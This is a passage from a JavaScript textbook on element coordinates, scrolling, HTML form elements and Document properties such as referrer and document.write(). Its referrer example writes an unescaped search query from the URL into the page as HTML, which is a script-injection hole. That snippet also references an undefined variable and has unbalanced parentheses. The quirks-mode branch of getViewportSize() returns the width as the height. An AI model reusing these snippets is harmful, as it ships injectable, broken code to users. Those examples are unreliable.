15.8.1 Document Coordinates and Viewport Coordinates

The position of an element is measured in pixels, with the X coordinate increasing to the right and the Y coordinate increasing as we go down. There are two different points we can use as the coordinate system origin, however: the X and Y coordinates of an element can be relative to the top-left corner of the document or relative to the top-left corner of the *viewport* in which the document is displayed. In top-level windows and tabs, the "viewport" is the portion of the browser that actually displays document content: it excludes browser "chrome" such as menus, toolbars, and tabs. For documents displayed in frames, the viewport is the `<iframe>` element that defines the frame. In either case, when we talk about the position of an element, we must be clear whether we are using document coordinates or viewport coordinates. (Note that viewport coordinates are sometimes called window coordinates.)

If the document is smaller than the viewport, or if it has not been scrolled, the upper-left corner of the document is in the upper-left corner of the viewport and the document and viewport coordinate systems are the same. In general, however, to convert between the two coordinate systems, we must add or subtract the *scroll offsets*. If an element has a Y coordinate of 200 pixels in document coordinates, for example, and if the user has scrolled the browser down by 75 pixels, then that element has a Y coordinate of 125 pixels in viewport coordinates. Similarly, if an element has an X coordinate of 400 in viewport coordinates and the user has scrolled the viewport 200 pixels horizontally, the element's X coordinate in document coordinates is 600.

Document coordinates are more fundamental than viewport coordinates, and they do not change when the user scrolls. Nevertheless, it is quite common to use viewport coordinates in client-side programming. We use document coordinates when we specify an element position using CSS (see Chapter 16). But the simplest way of querying the position of an element (see §15.8.2) returns the position in viewport coordinates. Similarly, when we register handler functions for mouse events, the coordinates of the mouse pointer are reported in viewport coordinates.

In order to convert between coordinate systems, we need to be able to determine the scrollbar positions for the browser window. The `pageXOffset` and `pageYOffset` properties of the Window object provide these values in all browsers except IE versions 8 and before. IE (and all modern browsers) also make the scrollbar positions available through `scrollLeft` and `scrollTop` properties. The confusing thing is that you normally query these properties on the root element of the document (`document.documentElement`), but in quirks mode (see §13.4.4) you must query them on the `<body>` element (`document.body`) of the document instead. Example 15-8 shows how to portably query the scrollbar positions.

Example 15-8. Querying the scrollbar positions of a window

```
// Return the current scrollbar offsets as the x and y properties of an object
function getScrollOffsets(w) {
    // Use the specified window or the current window if no argument
    w = w || window;

    // This works for all browsers except IE versions 8 and before
    if (w.pageXOffset != null) return {x: w.pageXOffset, y:w.pageYOffset};

    // For IE (or any browser) in Standards mode
    var d = w.document;
    if (document.compatMode == "CSS1Compat")
        return {x:d.documentElement.scrollLeft, y:d.documentElement.scrollTop};

    // For browsers in Quirks mode
    return { x: d.body.scrollLeft, y: d.body.scrollTop };
}
```

It is sometimes useful to be able to determine the viewport size—to find what portions of the document are currently visible, for example. As with the scroll offsets, the easy way to query viewport size does not work in IE8 and before and the technique that works in IE depends on whether the browser is in quirks mode or standards mode. Example 15-9 shows how to portably query the viewport size. Note how similar the code is to Example 15-8.

Example 15-9. Querying the viewport size of a window

```
// Return the viewport size as w and h properties of an object
function getViewportSize(w) {
    // Use the specified window or the current window if no argument
    w = w || window;

    // This works for all browsers except IE8 and before
    if (w.innerWidth != null) return {w: w.innerWidth, h:w.innerHeight};

    // For IE (or any browser) in Standards mode
    var d = w.document;
    if (document.compatMode == "CSS1Compat")
```

```
        return { w: d.documentElement.clientWidth,
                 h: d.documentElement.clientHeight };

    // For browsers in Quirks mode
    return { w: d.body.clientWidth, h: d.body.clientWidth };
}
```

The two examples above have used the `scrollLeft`, `scrollTop`, `clientWidth`, and `clientHeight` properties. We'll encounter these properties again in §15.8.5.

15.8.2 Querying the Geometry of an Element

The easiest way to determine the size and position of an element is to call its `getBoundingClientRect()` method. This method was introduced in IE5 and is now implemented by all current browsers. It expects no arguments and returns an object with properties `left`, `right`, `top`, and `bottom`. The `left` and `top` properties give the X and Y coordinates of the upper-left corner of the element and the `right` and `bottom` properties give the coordinates of the lower-right corner.

This method returns element positions in viewport coordinates. (The word "client" in the method name `getBoundingClientRect()` is an oblique reference to the web browser client—specifically to the window and the viewport it defines.) To convert to document coordinates that remain valid even if the user scrolls the browser window, add the scroll offsets:

```
var box = e.getBoundingClientRect();  // Get position in viewport coordinates
var offsets = getScrollOffsets();     // Utility function defined above
var x = box.left + offsets.x;         // Convert to document coordinates
var y = box.top + offsets.y;
```

In many browsers (and in the W3C standard), the object returned by `getBoundingClientRect()` also has `width` and `height` properties, but the original IE implementation does not do this. For portability, you can compute the element width and height like this:

```
var box = e.getBoundingClientRect();
var w = box.width || (box.right - box.left);
var h = box.height || (box.bottom - box.top);
```

You'll learn in Chapter 16 that the content of an element is surrounded by an optional blank area known as *padding*. The padding is surrounded by an optional border, and the border is surrounded by optional margins. The coordinates returned by `getBoundingClientRect()` include the border and the padding of the element but do not include the element margins.

If the word "Client" in the method `getBoundingClientRect()` specifies the coordinate system of the returned rectangle, what explains the word "Bounding" in the method name? Block elements, such as images, paragraphs, and `<div>` elements are always rectangular when laid out by the browser. Inline elements, such as `<span>`, `<code>`, and `<b>` elements, however, may span multiple lines and may therefore consist of multiple rectangles. Imagine, for example, some italicized text (marked up with `<i>` and `</i>`

tags) that is broken across two lines. Its rectangles consist of the right-hand portion of the first line and the left-hand portion of the second line (assuming left-to-right text). If you call `getBoundingClientRect()` on an inline element, it returns the "bounding rectangle" of the individual rectangles. For the `<i>` element described above, the bounding rectangle would include the entire width of both lines.

If you want to query the individual rectangles of inline elements, call the `getClientRects()` method to obtain a read-only array-like object whose elements are rectangle objects like those returned by `getBoundingClientRect()`.

We've seen that DOM methods like `getElementsByTagName()` return "live" results that are updated as the document changes. The rectangle objects (and rectangle object lists) returned by `getBoundingClientRect()` and `getClientRects()` are *not* live. They are static snapshots of the visual state of document when the methods are called. They are not updated when the user scrolls or resizes the browser window.

15.8.3 Determining the Element at a Point

The `getBoundingClientRect()` method allows us to determine the current position of an element in a viewport. Sometimes we want to go in the other direction and determine which element is at a given location in the viewport. You can determine this with the `elementFromPoint()` method of the Document object. Pass X and Y coordinates (using viewport coordinates, not document coordinates) and this method returns an Element object that is at the specified position. At the time of this writing, the algorithm for selecting the element is not specified, but the intent of this method is that it returns the innermost and uppermost (see the CSS `z-index` attribute in §16.2.1.1) element at that point. If you specify a point that is outside of the viewport, `elementFromPoint()` will return `null` even if that point would be perfectly valid when converted to document coordinates.

`elementFromPoint()` seems like a very useful method, and the obvious use case is passing the coordinates of the mouse pointer to determine which element the mouse is over. As we'll learn in Chapter 17, however, mouse event objects already include this information in their `target` property. In practice, therefore, `elementFromPoint()` is not commonly used.

15.8.4 Scrolling

Example 15-8 showed how to query the scrollbar positions for a browser window. The `scrollLeft` and `scrollTop` properties used in that example can be set to make the browser scroll, but there is an easier way that has been supported since the earliest days of JavaScript. The `scrollTo()` method of the Window object (and its synonym `scroll()`) takes the X and Y coordinates of a point (in document coordinates) and sets these as the scrollbar offsets. That is, it scrolls the window so that the specified point is in the upper left corner of the viewport. If you specify a point that is too close to the bottom or too close to the right edge of the document, the browser will move it as close as possible to the upper left corner but won't be able to get it all the way there. The

following code scrolls the browser so that the bottom-most page of the document is visible:

```
// Get the height of the document and viewport. offsetHeight is explained below.
var documentHeight = document.documentElement.offsetHeight;
var viewportHeight = window.innerHeight; // Or use getViewportSize() above
// And scroll so the last "page" shows in the viewport
window.scrollTo(0, documentHeight - viewportHeight);
```

The `scrollBy()` method of the Window is similar to `scroll()` and `scrollTo()`, but its arguments are relative and are added to the current scrollbar offsets. Speed readers might like a bookmarklet (§13.2.5.1) like this one, for example:

```
// Scroll 10 pixels down every 200 ms. Note there is no way to turn this off!
javascript:void setInterval(function() {scrollBy(0,10)}, 200);
```

Often, instead of scrolling to a numeric location in document, we just want to scroll so that a certain element in the document is visible. You could compute the position of the element with `getBoundingClientRect()`, convert that position to document coordinates, and then use the `scrollTo()` method, but it is easier to just call the `scrollIntoView()` method on the desired HTML element. This method ensures that the element on which it is invoked is visible in the viewport. By default, it tries to put the top edge of the element at or near the top of the viewport. If you pass `false` as the only argument, it will try to put the bottom edge of the element at the bottom of the viewport. The browser will also scroll the viewport horizontally as needed to make the element visible.

The behavior of `scrollIntoView()` is similar to what the browser does when you set `window.location.hash` to the name of a named anchor (an `<a name="">` element).

15.8.5 More on Element Size, Position and Overflow

The `getBoundingClientRect()` method is defined in all current browsers, but if you need to support an older generation of browsers, you can't rely on this method and must use older techniques for determining element size and position. Element size is easy: the readonly `offsetWidth` and `offsetHeight` properties of any HTML element return its on screen size, in CSS pixels. The returned sizes include the element border and padding but not margins.

All HTML elements have `offsetLeft` and `offsetTop` properties that return the X and Y coordinates of the element. For many elements, these values are document coordinates and directly specify the position of the element. But for descendants of positioned elements and for some other elements, such as table cells, these properties return coordinates that are relative to an ancestor element rather than the document. The `offsetParent` property specifies which element the properties are relative to. If `offsetParent` is null, the properties are document coordinates. In general, therefore, computing the position of an element `e` using `offsetLeft` and `offsetTop` requires a loop:

```
function getElementPosition(e) {
    var x = 0, y = 0;
    while(e != null)  {
        x += e.offsetLeft;
```

```
            y += e.offsetTop;
            e = e.offsetParent;
        }
        return {x:x, y:y};
    }
```

By looping through the `offsetParent` chain and accumulating offsets, this function computes the document coordinates of the specified element. (Recall that `getBoundingClientRect()` returns viewport coordinates instead.) This is not the final word on element positioning, however—this `getElementPosition()` function does not always compute the correct values, and we'll see how to fix it below.

In addition to the set of `offset` properties, all document elements define two other sets of properties, one whose names begin with `client` and one whose names begin with `scroll`. That is, every HTML element has all of the following properties:

```
offsetWidth        clientWidth        scrollWidth
offsetHeight       clientHeight       scrollHeight
offsetLeft         clientLeft         scrollLeft
offsetTop          clientTop          scrollTop
offsetParent
```

In order to understand these `client` and `scroll` properties, you need to know that the content of an HTML element may be larger than the content box allocated to hold that content, and that therefore individual elements may have scrollbars (see the CSS `overflow` attribute in §16.2.6). The content area is a viewport, like the browser window is, and when the content is larger than the viewport, we need to take an element's scrollbar position into account.

`clientWidth` and `clientHeight` are like `offsetWidth` and `offsetHeight` except that they do not include the border size, only the content area and its padding. Also, if the browser has added scrollbars between the padding and the border, `clientWidth` and `clientHeight` do not include the scrollbar in their returned value. Note that `clientWidth` and `clientHeight` always return 0 for inline elements like `<i>`, `<code>`, and `<span>`.

`clientWidth` and `clientHeight` were used in the `getViewportSize()` method of Example 15-9. As a special case, when these properties are queried on the root element of a document (or the body element in quirks mode), they return the same values as the `innerWidth` and `innerHeight` properties of the window.

The `clientLeft` and `clientTop` properties are not very useful: they return the horizontal and vertical distance between the outside of an element's padding and the outside of its border. Usually these values are just the width of the left and top borders. If an element has scrollbars, however, and if the browser places those scrollbars on the left or top (which would be unusual), `clientLeft` and `clientTop` also include the scrollbar width. For inline elements, `clientLeft` and `clientTop` are always 0.

`scrollWidth` and `scrollHeight` are the size of an element's content area plus its padding plus any overflowing content. When the content fits within the content area without overflow, these properties are the same as `clientWidth` and `clientHeight`. But when

there is overflow, they include the overflowing content and return values larger than `clientWidth` and `clientHeight`.

Finally, `scrollLeft` and `scrollTop` give the scrollbar positions of an element. We queried them on the root element of the document in the `getScrollOffsets()` method (Example 15-8), but they are also defined on any element. Note that `scrollLeft` and `scrollTop` are writable properties and you can set them to scroll the content within an element. (HTML elements do not have a `scrollTo()` method like the Window object does.)

When a document contains scrollable elements with overflowing content, the `getElementPosition()` method defined above does not work correctly because it does not take scrollbar position into account. Here is a modified version that subtracts scrollbar positions from the accumulated offsets and, in so doing, converts the returned position from document coordinates to viewport coordinates:

```
function getElementPos(elt) {
    var x = 0, y = 0;
    // Loop to add up offsets
    for(var e = elt; e != null; e = e.offsetParent) {
        x += e.offsetLeft;
        y += e.offsetTop;
    }
    // Loop again, through all ancestor elements to subtract scroll offsets.
    // This subtracts the main scrollbars, too, and converts to viewport coords.
    for(var e=elt.parentNode; e != null && e.nodeType == 1; e=e.parentNode) {
        x -= e.scrollLeft;
        y -= e.scrollTop;
    }
    return {x:x, y:y};
}
```

In modern browsers, this `getElementPos()` method returns the same position values as `getBoundingClientRect()` does (but is much less efficient). Theoretically, a function such as `getElementPos()` could be used in browsers that do not support `getBoundingClientRect()`. In practice, however, browsers that do not support `getBoundingClientRect()` have a lot of element positioning incompatibilities and a function as simple as this one will not work reliably. Practical client-side libraries like jQuery include functions for computing element position that augment this basic position computation algorithm with a number of browser-specific bug fixes. If you need to compute element position and need your code to work in browsers that do not support `getBoundingClientRect()`, you should probably use a library like jQuery.

15.9 HTML Forms

The HTML `<form>` element, and the various form input elements, such as `<input>`, `<select>`, and `<button>`, have an important place in client-side programming. These HTML elements date from the very beginning of the Web and predate JavaScript itself. HTML forms are the mechanism behind the first generation of web applications, which required no JavaScript at all. User input is gathered in form elements; form submission

sends that input to the server; the server processes the input and generates a new HTML page (usually with new form elements) for display by the client.

HTML form elements are still a great way to gather input from the user, even when form data is processed entirely by client-side JavaScript and never submitted to the server. With server-side programs, a form isn't useful unless it has a Submit button. In client-side programming, on the other hand, a Submit button is never necessary (though it may still be useful). Server-side programs are based on form submissions—they process data in form-sized chunks—and this limits their interactivity. Client-side programs are event based—they can respond to events on individual form elements—and this allows them to be much more responsive. A client-side program might validate the user's input as she types it, for example. Or it might respond to a click on a checkbox by enabling a set of options that are only meaningful when that box is checked.

The subsections that follow explain how to do these kinds of things with HTML forms. Forms are composed of HTML elements, just like any other part of an HTML document, and you can manipulate them with the DOM techniques already explained in this chapter. But form elements were the first ones to be made scriptable, in the earliest days of client-side programming, and they also support some APIs that predate the DOM.

Note that this section is about scripting HTML forms, not about the HTML itself. It assumes that you are already somewhat familiar with the HTML elements (`<input>`, `<textarea>`, `<select>`, and so on) used to define those forms. Nevertheless, Table 15-1 is a quick reference to the most commonly used form elements. You can read more about the form and form element APIs in Part IV, under the entries `Form`, `Input`, `Option`, `Select`, and `TextArea`.

Table 15-1. HTML form elements

HTML element	Type property	Event handler	Description and events
<input type="button"> or <button type="button">	"button"	onclick	A push button
<input type="checkbox">	"checkbox"	onchange	A toggle button without radio button behavior
<input type="file">	"file"	onchange	An input field for entering the name of a file to upload to the web server; `value` property is read-only
<input type="hidden">	"hidden"	none	Data submitted with the form but not visible to the user
<option>	none	none	A single item within a Select object; event handlers are on the Select object, not on individual Option objects
<input type="password">	"password"	onchange	An input field for password entry—typed characters are not visible

HTML element	Type property	Event handler	Description and events
<input type="radio">	"radio"	onchange	A toggle button with radio button behavior—only one selected at a time
<input type="reset"> or <button type="reset">	"reset"	onclick	A push button that resets a form
<select>	"select-one"	onchange	A list or drop-down menu from which one item may be selected (also see <option>)
<select multiple>	"select-multiple"	onchange	A list from which multiple items may be selected (also see <option>)
<input type="submit"> or <button type="submit">	"submit"	onclick	A push button that submits a form
<input type="text">	"text"	onchange	A single-line text entry field; the default <input> element it `type` attribute is omitted or unrecognized
<textarea>	"textarea"	onchange	A multiline text entry field

15.9.1 Selecting Forms and Form Elements

Forms and the elements they contain can be selected from a document using standard methods like `getElementById()` and `getElementsByTagName()`:

```
var fields = document.getElementById("address").getElementsByTagName("input");
```

In browsers that support `querySelectorAll()`, you might select all radio buttons, or all elements with the same name, from a form with code like this:

```
// All radio buttons in the form with id "shipping"
document.querySelectorAll('#shipping input[type="radio"]');
// All radio buttons with name "method" in form with id "shipping"
document.querySelectorAll('#shipping input[type="radio"][name="method"]');
```

As described in §14.7, §15.2.2, and §15.2.3, however, a `<form>` element with a `name` or `id` attribute can be selected in a number of other ways. A `<form>` with a `name="address"` attribute can be selected in any of these ways:

```
window.address            // Brittle: do not use
document.address          // Only works for forms with name attribute
document.forms.address    // Explicit access to a form with name or id
document.forms[n]         // Brittle: n is the form's numerical position
```

§15.2.3 explained that `document.forms` is an HTMLCollection object that allows form elements to be selected by numerical order, by `id`, or by `name`. Form objects themselves act like HTMLCollections of form elements and can be indexed by name or number. If a form with name "address" has a first element with name "street", you can refer to that form element with any of these expressions:

```
document.forms.address[0]
document.forms.address.street
document.address.street        // only for name="address", not id="address"
```

If you want to be explicit about selecting a form element, you can index the `elements` property of the form object instead:

```
document.forms.address.elements[0]
document.forms.address.elements.street
```

The `id` attribute is the generally preferred way to name specific document elements. The `name` attribute, however, has a special purpose for HTML form submission, and is much more commonly used with forms than with other elements. It is typical for groups of related checkboxes and mandatory for mutually exclusive groups of radioboxes to share a value of the `name` attribute. Remember that when you index an HTMLCollection with a name and more than one element shares that name, the returned value is an array-like object that contains all matching elements. Consider this form that contains radio buttons for selecting a shipping method:

```
<form name="shipping">
  <fieldset><legend>Shipping Method</legend>
    <label><input type="radio" name="method" value="1st">First-class</label>
    <label><input type="radio" name="method" value="2day">2-day Air</label>
    <label><input type="radio" name="method" value="overnite">Overnight</label>
  </fieldset>
</form>
```

With this form, you might refer to the array of radio button elements like this:

```
var methods = document.forms.shipping.elements.method;
```

Note that `<form>` elements have an HTML attribute and corresponding JavaScript property named "method", so in this case, we must use the `elements` property of the form instead of directly accessing the `method` property. In order to determine which shipping method the user has selected, we'd loop through the form elements in the array and check the `checked` property of each:

```
var shipping_method;
for(var i = 0; i < methods.length; i++)
    if (methods[i].checked) shipping_method = methods[i].value;
```

We'll see more about the properties, such as `checked` and `value`, of form elements in the next section.

15.9.2 Form and Element Properties

The `elements[]` array described above is the most interesting property of a Form object. The remaining properties of the Form object are of less importance. The `action`, `encoding`, `method`, and `target` properties correspond directly to the `action`, `encoding`, `method`, and `target` attributes of the `<form>` element. These properties and attributes are all used to control how form data is submitted to the web server and where the results are displayed. Client-side JavaScript can set the value of these properties, but they are only useful when the form is actually submitted to a server-side program.

In the days before JavaScript, a form was submitted with a special-purpose Submit button, and form elements had their values reset with a special-purpose Reset button.

The JavaScript Form object supports two methods, `submit()` and `reset()`, that serve the same purpose. Invoking the `submit()` method of a Form submits the form, and invoking `reset()` resets the form elements.

All (or most) form elements have the following properties in common. Some elements have other special-purpose properties that are described later when various types of form elements are considered individually:

`type`
: A read-only string that identifies the type of the form element. For form elements that are defined by an `<input>` tag, this is simply the value of the `type` attribute. Other form elements (such as `<textarea>` and `<select>`) define a `type` property so that they can easily be identified by the same test that distinguishes between `<input>` elements. The second column of Table 15-1 lists the value of this property for each form element.

`form`
: A read-only reference to the Form object in which the element is contained, or `null` if the element is not contained within a `<form>` element.

`name`
: A read-only string specified by the HTML `name` attribute.

`value`
: A read/write string that specifies the "value" contained or represented by the form element. This is the string that is sent to the web server when the form is submitted, and it is only sometimes of interest to JavaScript programs. For Text and Textarea elements, this property contains the text that the user entered. For button elements created with an `<input>` tag (but not those created with a `<button>` tag) this property specifies the text displayed within the button. For radio and checkbox elements, however, the `value` property is not edited or displayed to the user in any way. It is simply a string set by the HTML `value` attribute. It is intended for use in form submission, but it can also be a useful way to associate extra data with a form element. The `value` property is discussed further in the sections on the different categories of form elements, later in this chapter.

15.9.3 Form and Element Event Handlers

Each Form element has an `onsubmit` event handler to detect form submission and an `onreset` event handler to detect form resets. The `onsubmit` handler is invoked just before the form is submitted; it can cancel the submission by returning `false`. This provides an opportunity for a JavaScript program to check the user's input for errors in order to avoid submitting incomplete or invalid data over the network to a server-side program. Note that the `onsubmit` handler is triggered only by a genuine click on a Submit button. Calling the `submit()` method of a form does not trigger the `onsubmit` handler.

The `onreset` event handler is similar to the `onsubmit` handler. It is invoked just before the form is reset, and it can prevent the form elements from being reset by returning

false. Reset buttons are rarely necessary in forms, but if you have one, you might want to make the user confirm the reset:

```
<form...
      onreset="return confirm('Really erase ALL input and start over?')">
   ...
   <button type="reset">Clear and Start Over</button>
</form>
```

Like the onsubmit handler, onreset is triggered only by a genuine Reset button. Calling the reset() method of a form does not trigger onreset.

Form elements typically fire a click or change event when the user interacts with them, and you can handle these events by defining an onclick or onchange event handler. The third column of Table 15-1 specifies the primary event handler for each form element. In general, form elements that are buttons fire a click event when activated (even when this activation happens through the keyboard rather than via an actual mouse click). Other form elements fire a change event when the user changes the value represented by the element. This happens when the user enters text in a text field or selects an option from a drop-down list. Note that this event is not fired every time the user types a key in a text field. It is fired only when the user changes the value of an element and then moves the input focus to some other form element. That is, the invocation of this event handler indicates a completed change. Radio buttons and checkboxes are buttons that have a state, and they fire both click and change events; the change event is the more useful of the two.

Form elements also fire a focus event when they receive keyboard focus and a blur event when they lose it.

An important thing to know about event handlers is that within the code of an event handler, the this keyword refers to the document element that triggered the event (we'll talk about this again in Chapter 17). Since elements within a <form> element have a form property that refers to the containing form, the event handlers of these elements can always refer to the Form object as this.form. Going a step further, this means that an event handler for one form element can refer to a sibling form element named x as this.form.x.

15.9.4 Push Buttons

Buttons are one the most commonly used form elements because they provide a clear visual way to allow the user to trigger some scripted action. A button element has no default behavior of its own, and it is never useful unless it has an onclick event handler. Buttons defined as <input> elements display the plain text of the value attribute. Buttons defined as <button> elements display whatever the element content.

Note that hyperlinks provide the same onclick event handler that buttons do. Use a link when the action to be triggered by the onclick handler can be conceptualized as "following a link"; otherwise, use a button.

Submit and reset elements are just like button elements, but they have default actions (submitting and resetting a form) associated with them. If the `onclick` event handler returns `false`, the default action of these buttons is not performed. You can use the `onclick` handler of a submit element to perform form validation, but it is more common to do this with the `onsubmit` handler of the Form object itself.

Part IV does not include a Button entry. See `Input` for details on all form element push buttons, including those created with the `<button>` element.

15.9.5 Toggle Buttons

The checkbox and radio elements are toggle buttons, or buttons that have two visually distinct states: they can be checked or unchecked. The user can change the state of a toggle button by clicking on it. Radio elements are designed to be used in groups of related elements, all of which have the same value for the HTML `name` attribute. Radio elements created in this way are mutually exclusive: when you check one, the one that was previously checked becomes unchecked. Checkboxes are also often used in groups that share a `name` attribute, and when you select these elements using the name as a form property you must remember that you get an array-like object rather than a single element.

Radio and checkbox elements both define a `checked` property. This read/write boolean value specifies whether the element is currently checked. The `defaultChecked` property is a boolean that has the value of the HTML `checked` attribute; it specifies whether the element is checked when the page is first loaded.

Radio and checkbox elements do not display any text themselves and are typically displayed with adjacent HTML text (or with an associated `<label>` element.) This means that setting the `value` property of a checkbox or radio element does not alter the visual appearance of the element. You can set `value`, but this changes only the string that is sent to the web server when the form is submitted.

When the user clicks on a toggle button, the radio or checkbox element triggers its `onclick` handlers. If the toggle button changes state as the result of the click, it also triggers the `onchange` event handlers. (Note, however, that radio buttons that change state when the user clicks on a different radio button do not fire an `onchange` handler.)

15.9.6 Text Fields

Text input fields are probably the most commonly used element in HTML forms and JavaScript programs. They allow the user to enter a short, single-line string of text. The `value` property represents the text the user has entered. You can set this property to specify explicitly the text that should be displayed in the field.

In HTML5, the `placeholder` attribute specifies a prompt to be displayed within the field before the user enters anything:

```
Arrival Date: <input type="text" name="arrival" placeholder="yyyy-mm-dd">
```

A text field's `onchange` event handler is triggered when the user enters new text or edits existing text and then indicates that he is finished editing by moving input focus out of the text field.

The Textarea element is like a text input field element, except that it allows the user to input (and your JavaScript programs to display) multiline text. Textarea elements are created with a `<textarea>` tag using a syntax significantly different from the `<input>` tag that creates a text field. (See `TextArea` in Part IV.) Nevertheless, the two types of elements behave quite similarly. You can use the `value` property and `onchange` event handler of a Textarea element just as you can for a Text element.

An `<input type="password">` element is a modified input field that displays asterisks as the user types into it. As the name indicates, this is useful to allow a user to enter passwords without worrying about others reading over his shoulder. Note that the Password element protects the user's input from prying eyes, but when the form is submitted, that input is not encrypted in any way (unless it is submitted over a secure HTTPS connection), and it may be visible as it is transmitted over the network.

Finally, an `<input type="file">` element allows the user to enter the name of a file to be uploaded to the web server. It is a text field combined with a button that opens a file-chooser dialog box. This file selection element has an `onchange` event handler, like a regular input field. Unlike an input field, however, the `value` property of a file selection element is read-only. This prevents malicious JavaScript programs from tricking the user into uploading a file that should not be shared.

The various text input elements define `onkeypress`, `onkeydown`, and `onkeyup` event handlers. You can return `false` from the `onkeypress` or `onkeydown` event handlers to prevent the user's keystroke from being recorded. This can be useful, for example, if you want to force the user to enter only digits into a particular text input field. See Example 17-6 for a demonstration of this technique.

15.9.7 Select and Option Elements

The Select element represents a set of options (represented by Option elements) from which the user can select. Browsers typically render Select elements in drop-down menus, but if you specify a `size` attribute with a value greater than 1, they will display the options in a (possibly scrollable) list instead. The Select element can operate in two very distinct ways, and the value of the `type` property depends on how it is configured. If the `<select>` element has the `multiple` attribute, the user is allowed to select multiple options, and the `type` property of the Select object is "select-multiple". Otherwise, if the `multiple` attribute is not present, only a single item can be selected, and the `type` property is "select-one".

In some ways, a select-multiple element is like a set of checkbox elements, and a select-one element is like a set of radio elements. The options displayed by a Select element are not toggle buttons, however: they are defined by `<option>` elements instead. A Select

element defines an `options` property which is an array-like object that contains Option elements.

When the user selects or deselects an option, the Select element triggers its `onchange` event handler. For select-one Select elements, the read/write `selectedIndex` property specifies which one of the options is currently selected. For select-multiple elements, the single `selectedIndex` property is not sufficient to represent the complete set of selected options. In this case, to determine which options are selected, you must loop through the elements of the `options[]` array and check the value of the `selected` property for each Option object.

In addition to its `selected` property, each Option object has a `text` property that specifies the string of plain text that appears in the Select element for that option. You can set this property to change the text that is displayed to the user. The `value` property is also a read/write string that specifies the text to be sent to the web server when the form is submitted. Even if you are writing a pure client-side program and your form never gets submitted, the `value` property (or its corresponding HTML `value` attribute) can be a useful place to store any data that you'll need if the user selects a particular option. Note that Option elements do not have form-related event handlers: use the `onchange` handler of the containing Select element instead.

In addition to setting the `text` property of Option objects, you can dynamically change the options displayed in a Select element using special features of the `options` property that date to the early days of client-side scripting. You can truncate the array of Option elements by setting `options.length` to the desired number of options, and you can remove all Option objects by setting `options.length` to 0. You can remove an individual Option object from the Select element by setting its spot in the `options[]` array to `null`. This deletes the Option object, and any higher elements in the `options[]` array automatically get moved down to fill the empty spot.

To add new options to a Select element, create an Option object with the `Option()` constructor and append it to the `options[]` property with code like this:

```
// Create a new Option object
var zaire = new Option("Zaire",  // The text property
                       "zaire",  // The value property
                       false,    // The defaultSelected property
                       false);   // The selected property

// Display it in a Select element by appending it to the options array:
var countries = document.address.country;  // Get the Select object
countries.options[countries.options.length] = zaire;
```

Keep in mind that these special-purpose Select element APIs are very old. You can more clearly insert and remove option elements with standard calls to `Document.createElement()`, `Node.insertBefore()`, `Node.removeChild()`, and so on.

15.10 Other Document Features

This chapter began with the assertion that it is one of the most important in the book. It is also, by necessity, one of the longest. This final section rounds out the chapter by covering a number of miscellaneous features of the Document object.

15.10.1 Document Properties

This chapter has already introduced Document properties such as `body`, `documentElement`, and `forms` that refer to special elements of the document. Documents also define a few other properties of interest:

`cookie`
: A special property that allows JavaScript programs to read and write HTTP cookies. This property is covered in Chapter 20.

`domain`
: A property that allows mutually trusted web servers within the same Internet domain to collaboratively relax same-origin policy security restrictions on interactions between their web pages (see §13.6.2.1).

`lastModified`
: A string that contains the modification date of the document.

`location`
: This property refers to the same Location object as the `location` property of the Window object.

`referrer`
: The URL of the document containing the link, if any, that brought the browser to the current document. This property has the same content as the HTTP `Referer` header, but it is spelled with a double r.

`title`
: The text between the `<title>` and `<title>` tags for this document.

`URL`
: The URL of the document as a read-only String rather than as a Location object. The value of this property is the same as the initial value of `location.href`, but it is not dynamic like the Location object is. If the user navigates to a new fragment identifier within the document, for example, `location.href` will change, but `document.URL` will not.

`referrer` is one of the most interesting of these properties: it contains the URL of the document from which the user linked to the current document. You might use this property with code like this:

```
if (document.referrer.indexOf("http://www.google.com/search?") == 0) {
    var args = document.referrer.substring(ref.indexOf("?")+1).split("&");
    for(var i = 0; i < args.length; i++) {
        if (args[i].substring(0,2) == "q=") {
```

```
                document.write("<p>Welcome Google User. ");
                document.write("You searched for: " +
                               unescape(args[i].substring(2)).replace('+', ' ');
                break;
            }
        }
    }
```

The `document.write()` method used in the code above is the subject of the next section.

15.10.2 The document.write() Method

The `document.write()` method was one of the very first scriptable APIs implemented by the Netscape 2 web browser. It was introduced well before the DOM and was the only way to display computed text in a document. It is no longer needed in new code, but you are likely to see it in existing code.

`document.write()` concatenates its string arguments and inserts the resulting string into the document at the location of the script element that invoked it. When the script finishes running, the browser parses the generated output and displays it. The following code, for example, uses `write()` to dynamically output information into an otherwise static HTML document:

```
<script>
  document.write("<p>Document title: " + document.title);
  document.write("<br>URL: " + document.URL);
  document.write("<br>Referred by: " + document.referrer);
  document.write("<br>Modified on: " + document.lastModified);
  document.write("<br>Accessed on: " + new Date());
</script>
```

It is important to understand that you can use the `write()` method to output HTML to the current document only while that document is being parsed. That is, you can call `document.write()` from within top-level code in `<script>` elements only because these scripts are executed as part of the document parsing process. If you place a `document.write()` call within a function definition and then call that function from an event handler, it will not work as you expect—in fact, it will erase the current document and the scripts it contains! (You'll see why shortly.) For similar reasons, you should not use `document.write()` in scripts that have the `defer` or `async` attributes set.

Example 13-3 in Chapter 13 used `document.write()` in this way to generate more complicated output.

You can also use the `write()` method to create entirely new documents in other windows or frames. (When working with multiple windows or frames, however, you must be careful not to violate the same-origin policy.) Your first call to the `write()` method of another document will erase all content in that document. You can call `write()` more than once to build up the new content of the document. The content you pass to `write()` may be buffered (and not displayed) until you terminate the sequence of writes by calling the `close()` method of the document object. This, in essence, tells the HTML

parser that it has reached the end-of-file for the document and that it should finish parsing and display the new document.

It is worth noting that the Document object also supports a `writeln()` method, which is identical to the `write()` method in every way except that it appends a newline after outputting its arguments. This can be useful if you are outputting preformatted text within a `<pre>` element, for example.

The `document.write()` method is not commonly used in modern code: the `innerHTML` property and other DOM techniques provide a better way of adding content to a document. On the other hand, some algorithms do lend themselves nicely to a stream-style I/O API like that provided by the `write()` method. If you are writing code that computes and outputs text while it runs, you might be interested in Example 15-10, which wraps simple `write()` and `close()` methods around the `innerHTML` property of a specified element.

Example 15-10. A streaming API for the innerHTML property

```
// Define a simple "streaming" API for setting the innerHTML of an element.
function ElementStream(elt) {
    if (typeof elt === "string") elt = document.getElementById(elt);
    this.elt = elt;
    this.buffer = "";
}

// Concatenate all arguments and append to the buffer
ElementStream.prototype.write = function() {
    this.buffer += Array.prototype.join.call(arguments, "");
};

// Just like write(), but add a newline
ElementStream.prototype.writeln = function() {
    this.buffer += Array.prototype.join.call(arguments, "") + "\n";
};

// Set element content from buffer and empty the buffer.
ElementStream.prototype.close = function() {
    this.elt.innerHTML = this.buffer;
    this.buffer = "";
};
```

